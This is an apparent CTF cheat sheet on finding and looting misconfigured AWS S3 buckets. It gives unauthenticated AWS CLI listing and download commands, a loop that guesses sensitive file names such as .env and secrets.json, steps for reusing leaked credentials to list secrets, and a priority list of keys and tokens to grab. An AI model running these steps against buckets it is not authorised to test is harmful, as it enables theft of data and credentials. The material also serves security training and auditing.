S3 Misconfiguration

AWS S3 buckets are private by default, but misconfigured bucket policies and ACLs frequently expose sensitive files to unauthenticated access. In CTFs, public S3 buckets are one of the most common cloud challenge types — you enumerate bucket names, list objects, and download whatever's exposed.

The attack surface is predictable: bucket names are guessable, object names follow conventions, and error messages reveal whether a bucket exists.

Discovery Workflow

Common Misconfigurations

Enumeration

# Unauthenticated listing
aws s3 ls s3://target-bucket --no-sign-request

# Recursive listing
aws s3 ls s3://target-bucket --recursive --no-sign-request

# Download a specific file
aws s3 cp s3://target-bucket/flag.txt - --no-sign-request

# API-level listing (more detail)
aws s3api list-objects-v2 --bucket target-bucket --no-sign-request

Enumeration Steps

aws s3 ls s3://target-bucket --no-sign-request

aws s3 sync s3://target-bucket /tmp/loot --no-sign-request

for f in flag.txt flag flags/flag.txt .env .env.production \
          backup.zip db.sql secrets.json config.json; do
    aws s3 cp s3://target-bucket/$f /tmp/$f --no-sign-request 2>/dev/null \
      && echo "Found: $f"
done

export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
aws s3 ls s3://private-bucket  # now authenticated
aws secretsmanager list-secrets

Policy and ACL Analysis

CTF Loot Priority

1. flag.txt, flags/, ctf/
2. .env, .env.production, config.json
3. backup.zip, db.sql, dump/
4. logs/ — often contain session tokens and API keys
5. *.pem, *.key, kubeconfig

Checklist

• Enumerate likely bucket names from domain/company strings
• Try unauthenticated list/download with --no-sign-request
• Parse XML errors to distinguish non-existent vs access-denied
• Guess high-value object names (flag, backup, env, secret)
• If credentials found, re-enumerate with authenticated AWS CLI
• Check bucket policy for "Principal": "*" statements

Last updated on Aug 1, 2025